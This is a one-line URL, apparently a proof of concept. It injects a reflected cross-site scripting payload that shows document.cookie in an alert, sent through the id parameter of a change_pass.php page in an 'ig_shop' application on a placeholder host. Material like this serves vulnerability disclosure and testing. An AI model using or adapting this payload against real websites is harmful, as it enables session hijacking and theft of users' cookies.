http://www.example.com/ig_shop/change_pass.php?id="<script>alert(document.cookie);</script>